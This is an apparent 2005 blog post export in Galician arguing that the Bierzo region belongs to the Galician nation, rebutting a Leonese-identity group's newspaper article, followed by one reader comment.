----- -------- AUTHOR: Lugris TITLE: Gigurros e cazurros BASENAME: gigurros_e_cazurros DATE: Wed, 14 Sep 2005 19:03:03 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Responde hoje no Diário de Leom umha no Berzo desconhecida "Plataforma pro-identidad leonesa", de certa actividade na cidade de Leom, ao artigo publicado, em espanhol, no próprio Diário de Leom o 1 de Setembro passado, e, em galego, neste blog e noutras webs galegas (PGL, Primeira Linha em Rede, Vieiros,...). Sob o título "El Bierzo es leonés", pretendem nom só negar as históricas relaçons entre a comarca berziana e o resto da naçom galega, mas mesmo negar ao conjunto da populaçom berziana o direito a decidirem o seu futuro.
Evidentemente, quando no próprio título tenhem que deixar constáncia dos seus desejos, confundindo-os com a realidade, eles mesmos estam a reconhecer que um evidente problema de identidade leonesa existe no Berzo, pois de nom estar em dúvida esse "leonesismo" ou "leonesidade" do Berzo, nom teriam necessidade de deixar constáncia disso no próprio título.
Sabem bem eles, os autores do artigo, que, nom será casualidade, nom dam os seus nomes e se agacham sob essa pretendida associaçom pro-identidade leonesa, que o discurso leonesista nom tem demassiados adeptos no Berzo. Nom os tivo historicamente, e nom os tem na actualidade. Será por isso polo que nem os seus nomes aparecem: possivelmente a Plataforma pro-identidade leonesa conte com bem poucos membros do Berzo.
Nos próximos dias, e se os meios de comunicaçom o permitem (isto é: se o publicam), algumhas pessoas que assinavam o artigo "Tira por ela Galiza, mas Castela nom a solta", responderam a este texto leonesista, cheio dos ráncios argumentos supostamente historicistas, que colocam as decissons politico-administrativas dos poderosos de épocas passadas, por riba da vontade dumha comarca inteira.
----- COMMENT: AUTHOR: sabela [Visitante] DATE: Thu, 15 Sep 2005 22:57:28 +0000 URL: http://www.pepilucibom.tkObrigada, Igor, por manter-nos ao dia do que acontece no outro lado do País. E sobretudo por lembrar-nos que o é.
----- COMME